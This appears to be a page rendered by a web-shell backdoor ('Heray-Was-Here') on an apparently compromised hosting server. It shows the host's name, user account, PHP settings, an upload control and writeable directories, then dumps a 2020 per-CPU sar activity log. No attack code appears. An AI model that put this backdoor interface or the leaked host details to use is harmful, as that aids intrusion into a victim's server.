Heray-Was-Here
Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/log/sa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/log/sa/sar11
Linux 3.10.0-957.12.2.vz7.96.21 (vps37394.inmotionhosting.com) 	2020-02-11 	_x86_64_	(48 CPU)

00:00:06        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:02        all      0.18      0.00      0.15      0.00      0.00      0.00      0.00      0.00      0.00     99.68
00:10:02          0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02          1      0.40      0.00      0.36      0.00      0.00      0.00      0.00      0.00      0.00     99.24
00:10:02          2      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02          3      0.32      0.00      0.28      0.00      0.00      0.00      0.00      0.00      0.00     99.39
00:10:02          4      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02          5      0.29      0.00      0.25      0.00      0.00      0.00      0.00      0.00      0.00     99.46
00:10:02          6      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02          7      0.31      0.00      0.31      0.00      0.00      0.00      0.00      0.00      0.00     99.38
00:10:02          8      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02          9      0.41      0.00      0.26      0.00      0.00      0.00      0.00      0.00      0.00     99.33
00:10:02         10      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         11      0.34      0.00      0.36      0.00      0.00      0.00      0.00      0.00      0.00     99.30
00:10:02         12      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         13      0.48      0.00      0.24      0.00      0.00      0.00      0.00      0.00      0.00     99.29
00:10:02         14      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         15      0.33      0.00      0.28      0.00      0.00      0.00      0.00      0.00      0.00     99.39
00:10:02         16      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         17      0.48      0.00      0.33      0.00      0.00      0.00      0.00      0.00      0.00     99.18
00:10:02         18      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         19      0.53      0.01      0.47      0.00      0.00      0.00      0.00      0.00      0.00     99.00
00:10:02         20      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         21      0.53      0.00      0.52      0.00      0.00      0.00      0.00      0.00      0.00     98.95
00:10:02         22      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         23      0.34      0.01      0.30      0.00      0.00      0.00      0.00      0.00      0.00     99.36
00:10:02         24      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         25      0.33      0.00      0.27      0.00      0.00      0.00      0.00      0.00      0.00     99.40
00:10:02         26      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         27      0.33      0.00      0.36      0.00      0.00      0.00      0.00      0.00      0.00     99.31
00:10:02         28      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         29      0.29      0.00      0.28      0.00      0.00      0.00      0.00      0.00      0.00     99.43
00:10:02         30      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         31      0.26      0.00      0.18      0.00      0.00      0.00      0.00      0.00      0.00     99.56
00:10:02         32      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         33      0.30      0.00      0.21      0.00      0.00      0.00      0.00      0.00      0.00     99.50
00:10:02         34      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         35      0.41      0.00      0.40      0.00      0.00      0.00      0.00      0.00      0.00     99.18
00:10:02         36      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         37      0.34      0.00      0.19      0.00      0.00      0.00      0.00      0.00      0.00     99.47
00:10:02         38      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         39      0.29      0.01      0.22      0.00      0.00      0.00      0.00      0.00      0.00     99.48
00:10:02         40      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         41      0.34      0.00      0.22      0.00      0.00      0.00      0.00      0.00      0.00     99.44
00:10:02         42      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         43      0.21      0.02      0.28      0.00      0.00      0.00      0.00      0.00      0.00     99.49
00:10:02         44      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         45      0.33      0.00      0.25      0.00      0.00      0.00      0.00      0.00      0.00     99.42
00:10:02         46      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:10:02         47      0.26      0.00      0.22      0.00      0.00      0.00      0.00      0.00      0.00     99.52
00:20:02        all      1.51      0.00      0.21      0.00      0.00      0.00      0.00      0.00      0.00     98.27
00:20:02          0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02          1      3.47      0.00      0.46      0.00      0.00      0.00      0.00      0.00      0.00     96.06
00:20:02          2      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02          3      2.67      0.00      0.38      0.00      0.00      0.00      0.00      0.00      0.00     96.94
00:20:02          4      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02          5      2.56      0.00      0.43      0.00      0.00      0.00      0.00      0.00      0.00     97.00
00:20:02          6      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02          7      2.84      0.00      0.40      0.00      0.00      0.00      0.00      0.00      0.00     96.75
00:20:02          8      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02          9      4.15      0.01      0.49      0.00      0.00      0.00      0.00      0.00      0.00     95.35
00:20:02         10      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         11      3.23      0.01      0.43      0.00      0.00      0.00      0.00      0.00      0.00     96.32
00:20:02         12      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         13      2.77      0.00      0.44      0.00      0.00      0.00      0.00      0.00      0.00     96.79
00:20:02         14      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         15      2.68      0.00      0.40      0.00      0.00      0.00      0.00      0.00      0.00     96.92
00:20:02         16      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         17      4.36      0.00      0.60      0.00      0.00      0.00      0.00      0.00      0.00     95.03
00:20:02         18      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         19      3.26      0.00      0.43      0.00      0.00      0.00      0.00      0.00      0.00     96.31
00:20:02         20      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         21      3.61      0.00      0.42      0.00      0.00      0.00      0.00      0.00      0.00     95.97
00:20:02         22      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         23      3.44      0.00      0.51      0.00      0.00      0.00      0.00      0.00      0.00     96.06
00:20:02         24      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         25      2.83      0.02      0.41      0.00      0.00      0.00      0.00      0.00      0.00     96.74
00:20:02         26      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         27      3.03      0.00      0.37      0.00      0.00      0.00      0.00      0.00      0.00     96.60
00:20:02         28      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         29      2.39      0.00      0.39      0.00      0.00      0.00      0.00      0.00      0.00     97.22
00:20:02         30      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         31      2.36      0.00      0.39      0.00      0.00      0.00      0.00      0.00      0.00     97.25
00:20:02         32      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         33      3.08      0.00      0.35      0.00      0.00      0.00      0.00      0.00      0.00     96.57
00:20:02         34      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         35      2.81      0.03      0.38      0.00      0.00      0.00      0.00      0.00      0.00     96.79
00:20:02         36      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         37      3.21      0.00      0.38      0.00      0.00      0.00      0.00      0.00      0.00     96.40
00:20:02         38      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         39      2.32      0.00      0.35      0.00      0.00      0.00      0.00      0.00      0.00     97.32
00:20:02         40      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         41      2.79      0.00      0.48      0.00      0.00      0.00      0.00      0.00      0.00     96.72
00:20:02         42      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         43      3.57      0.00      0.46      0.00      0.00      0.00      0.00      0.00      0.00     95.96
00:20:02         44      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         45      2.59      0.01      0.35      0.00      0.00      0.00      0.00      0.00      0.00     97.06
00:20:02         46      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:20:02         47      2.67      0.00      0.33      0.00      0.00      0.00      0.00      0.00      0.00     97.00
00:30:05        all      0.92      0.00      0.19      0.00      0.00      0.00      0.00      0.00      0.00     98.89
00:30:05          0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05          1      2.19      0.04      0.44      0.00      0.00      0.00      0.00      0.00      0.00     97.33
00:30:05          2      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05          3      2.32      0.00      0.54      0.00      0.00      0.00      0.00      0.00      0.00     97.14
00:30:05          4      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05          5      2.24      0.00      0.52      0.00      0.00      0.00      0.00      0.00      0.00     97.24
00:30:05          6      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05          7      2.77      0.01      0.37      0.00      0.00      0.00      0.00      0.00      0.00     96.85
00:30:05          8      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05          9      2.06      0.00      0.39      0.00      0.00      0.00      0.00      0.00      0.00     97.54
00:30:05         10      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         11      1.78      0.00      0.39      0.00      0.00      0.00      0.00      0.00      0.00     97.83
00:30:05         12      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         13      2.11      0.00      0.38      0.00      0.00      0.00      0.00      0.00      0.00     97.50
00:30:05         14      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         15      1.76      0.00      0.52      0.00      0.00      0.00      0.00      0.00      0.00     97.72
00:30:05         16      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         17      1.89      0.00      0.39      0.00      0.00      0.00      0.00      0.00      0.00     97.71
00:30:05         18      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         19      2.23      0.02      0.48      0.00      0.00      0.00      0.00      0.00      0.00     97.26
00:30:05         20      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         21      1.95      0.02      0.60      0.00      0.00      0.00      0.00      0.00      0.00     97.43
00:30:05         22      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         23      2.38      0.00      0.45      0.00      0.00      0.00      0.00      0.00      0.00     97.16
00:30:05         24      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         25      1.31      0.00      0.26      0.00      0.00      0.00      0.00      0.00      0.00     98.42
00:30:05         26      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         27      1.72      0.02      0.30      0.00      0.00      0.00      0.00      0.00      0.00     97.95
00:30:05         28      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         29      1.48      0.00      0.30      0.00      0.00      0.00      0.00      0.00      0.00     98.22
00:30:05         30      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         31      1.42      0.00      0.28      0.00      0.00      0.00      0.00      0.00      0.00     98.31
00:30:05         32      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         33      1.30      0.00      0.28      0.00      0.00      0.00      0.00      0.00      0.00     98.42
00:30:05         34      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         35      1.27      0.02      0.22      0.00      0.00      0.00      0.00      0.00      0.00     98.49
00:30:05         36      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         37      1.75      0.00      0.26      0.00      0.00      0.00      0.00      0.00      0.00     97.99
00:30:05         38      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         39      1.56      0.00      0.30      0.00      0.00      0.00      0.00      0.00      0.00     98.14
00:30:05         40      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         41      1.24      0.00      0.31      0.00      0.00      0.00      0.00      0.00      0.00     98.45
00:30:05         42      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         43      1.77      0.00      0.38      0.00      0.00      0.00      0.00      0.00      0.00     97.85
00:30:05         44      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         45      1.58      0.02      0.31      0.00      0.00      0.00      0.00      0.00      0.00     98.09
00:30:05         46      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:30:05         47      1.99      0.00      0.50      0.00      0.00      0.00      0.00      0.00      0.00     97.51
00:40:02        all      0.27      0.00      0.17      0.00      0.00      0.00      0.00      0.00      0.00     99.55
00:40:02          0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02          1      0.58      0.00      0.35      0.00      0.00      0.00      0.00      0.00      0.00     99.08
00:40:02          2      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02          3      0.63      0.00      0.34      0.00      0.00      0.00      0.00      0.00      0.00     99.03
00:40:02          4      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02          5      0.46      0.00      0.31      0.00      0.00      0.00      0.00      0.00      0.00     99.23
00:40:02          6      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02          7      0.60      0.00      0.39      0.00      0.00      0.00      0.00      0.00      0.00     99.01
00:40:02          8      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02          9      0.68      0.00      0.43      0.00      0.00      0.00      0.00      0.00      0.00     98.88
00:40:02         10      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         11      0.59      0.00      0.43      0.00      0.00      0.00      0.00      0.00      0.00     98.98
00:40:02         12      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         13      0.56      0.00      0.35      0.00      0.00      0.00      0.00      0.00      0.00     99.09
00:40:02         14      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         15      0.65      0.00      0.42      0.00      0.00      0.00      0.00      0.00      0.00     98.93
00:40:02         16      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         17      0.52      0.00      0.45      0.00      0.00      0.00      0.00      0.00      0.00     99.03
00:40:02         18      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         19      0.65      0.01      0.43      0.00      0.00      0.00      0.00      0.00      0.00     98.92
00:40:02         20      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         21      0.54      0.00      0.35      0.00      0.00      0.00      0.00      0.00      0.00     99.11
00:40:02         22      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         23      0.70      0.00      0.40      0.00      0.00      0.00      0.00      0.00      0.00     98.89
00:40:02         24      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         25      0.43      0.00      0.23      0.00      0.00      0.00      0.00      0.00      0.00     99.34
00:40:02         26      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         27      0.55      0.00      0.28      0.00      0.00      0.00      0.00      0.00      0.00     99.18
00:40:02         28      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         29      0.43      0.02      0.29      0.00      0.00      0.00      0.00      0.00      0.00     99.27
00:40:02         30      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         31      0.60      0.00      0.31      0.00      0.00      0.00      0.00      0.00      0.00     99.09
00:40:02         32      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         33      0.65      0.01      0.22      0.00      0.00      0.00      0.00      0.00      0.00     99.13
00:40:02         34      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         35      0.54      0.00      0.31      0.00      0.00      0.00      0.00      0.00      0.00     99.15
00:40:02         36      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         37      0.48      0.00      0.35      0.00      0.00      0.00      0.00      0.00      0.00     99.17
00:40:02         38      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         39      0.54      0.00      0.36      0.00      0.00      0.00      0.00      0.00      0.00     99.10
00:40:02         40      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         41      0.48      0.00      0.35      0.00      0.00      0.00      0.00      0.00      0.00     99.16
00:40:02         42      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         43      0.43      0.01      0.34      0.00      0.00      0.00      0.00      0.00      0.00     99.22
00:40:02         44      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         45      0.42      0.00      0.31      0.00      0.00      0.00      0.00      0.00      0.00     99.28
00:40:02         46      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:40:02         47      0.38      0.00      0.21      0.00      0.00      0.00      0.00      0.00      0.00     99.40
00:50:04        all      0.19      0.00      0.13      0.00      0.00      0.00      0.00      0.00      0.00     99.68
00:50:04          0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04          1      0.41      0.00      0.32      0.00      0.00      0.00      0.00      0.00      0.00     99.27
00:50:04          2      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04          3      0.34      0.01      0.23      0.00      0.00      0.00      0.00      0.00      0.00     99.42
00:50:04          4      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04          5      0.51      0.00      0.34      0.00      0.00      0.00      0.00      0.00      0.00     99.15
00:50:04          6      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04          7      0.52      0.00      0.25      0.00      0.00      0.00      0.00      0.00      0.00     99.23
00:50:04          8      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04          9      0.49      0.00      0.25      0.00      0.00      0.00      0.00      0.00      0.00     99.25
00:50:04         10      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         11      0.37      0.00      0.27      0.00      0.00      0.00      0.00      0.00      0.00     99.36
00:50:04         12      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         13      0.27      0.00      0.25      0.00      0.00      0.00      0.00      0.00      0.00     99.47
00:50:04         14      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         15      0.38      0.00      0.31      0.00      0.00      0.00      0.00      0.00      0.00     99.31
00:50:04         16      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         17      0.50      0.01      0.26      0.00      0.00      0.00      0.00      0.00      0.00     99.23
00:50:04         18      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         19      0.36      0.00      0.24      0.00      0.00      0.00      0.00      0.00      0.00     99.40
00:50:04         20      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         21      0.36      0.00      0.29      0.00      0.00      0.00      0.00      0.00      0.00     99.35
00:50:04         22      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         23      0.42      0.00      0.27      0.00      0.00      0.00      0.00      0.00      0.00     99.31
00:50:04         24      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         25      0.27      0.00      0.18      0.00      0.00      0.00      0.00      0.00      0.00     99.55
00:50:04         26      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         27      0.49      0.00      0.21      0.00      0.00      0.00      0.00      0.00      0.00     99.30
00:50:04         28      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         29      0.34      0.00      0.23      0.00      0.00      0.00      0.00      0.00      0.00     99.43
00:50:04         30      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         31      0.25      0.00      0.20      0.00      0.00      0.00      0.00      0.00      0.00     99.55
00:50:04         32      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         33      0.46      0.00      0.25      0.00      0.00      0.00      0.00      0.00      0.00     99.29
00:50:04         34      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         35      0.36      0.00      0.26      0.00      0.00      0.00      0.00      0.00      0.00     99.38
00:50:04         36      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         37      0.39      0.00      0.23      0.00      0.00      0.00      0.00      0.00      0.00     99.37
00:50:04         38      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         39      0.51      0.00      0.26      0.00      0.00      0.00      0.00      0.00      0.00     99.22
00:50:04         40      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         41      0.30      0.00      0.15      0.00      0.00      0.00      0.00      0.00      0.00     99.54
00:50:04         42      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         43      0.24      0.00      0.35      0.00      0.00      0.00      0.00      0.00      0.00     99.42
00:50:04         44      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         45      0.36      0.00      0.35      0.00      0.00      0.00      0.00      0.00      0.00     99.28
00:50:04         46      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
00:50:04         47      0.37      0.00      0.22      0.00      0.00      0.00      0.00      0.00      0.00     99.41
01:00:04        all      0.12      0.00      0.08      0.00      0.00      0.00      0.00      0.00      0.00     99.80
01:00:04          0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04          1      0.21      0.01      0.20      0.00      0.00      0.00      0.00      0.00      0.00     99.58
01:00:04          2      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04          3      0.21      0.00      0.11      0.00      0.00      0.00      0.00      0.00      0.00     99.68
01:00:04          4      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04          5      0.37      0.01      0.22      0.00      0.00      0.00      0.00      0.00      0.00     99.41
01:00:04          6      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04          7      0.29      0.01      0.14      0.00      0.00      0.00      0.00      0.00      0.00     99.57
01:00:04          8      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04          9      0.27      0.00      0.16      0.00      0.00      0.00      0.00      0.00      0.00     99.57
01:00:04         10      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04         11      0.24      0.00      0.14      0.00      0.00      0.00      0.00      0.00      0.00     99.62
01:00:04         12      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04         13      0.21      0.00      0.21      0.00      0.00      0.00      0.00      0.00      0.00     99.57
01:00:04         14      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04         15      0.25      0.00      0.15      0.00      0.00      0.00      0.00      0.00      0.00     99.60
01:00:04         16      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04         17      0.44      0.01      0.18      0.00      0.00      0.00      0.00      0.00      0.00     99.37
01:00:04         18      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04         19      0.38      0.00      0.20      0.00      0.00      0.00      0.00      0.00      0.00     99.42
01:00:04         20      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04         21      0.26      0.01      0.30      0.00      0.00      0.00      0.00      0.00      0.00     99.44
01:00:04         22      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04         23      0.18      0.04      0.17      0.00      0.00      0.00      0.00      0.00      0.00     99.61
01:00:04         24      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04         25      0.32      0.00      0.21      0.00      0.00      0.00      0.00      0.00      0.00     99.48
01:00:04         26      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04         27      0.13      0.01      0.07      0.00      0.00      0.00      0.00      0.00      0.00     99.79
01:00:04         28      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04         29      0.27      0.00      0.22      0.00      0.00      0.00      0.00      0.00      0.00     99.51
01:00:04         30      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04         31      0.25      0.00      0.11      0.00      0.00      0.00      0.00      0.00      0.00     99.64
01:00:04         32      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04         33      0.27      0.00      0.16      0.00      0.00      0.00      0.00      0.00      0.00     99.57
01:00:04         34      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04         35      0.20      0.01      0.10      0.00      0.00      0.00      0.00      0.00      0.00     99.69
01:00:04         36      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
01:00:04         37      0.15      0.00      0.20      0.00      0.00      0.00      0.00      0.00      0.00     99.66
01:00:04         38      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
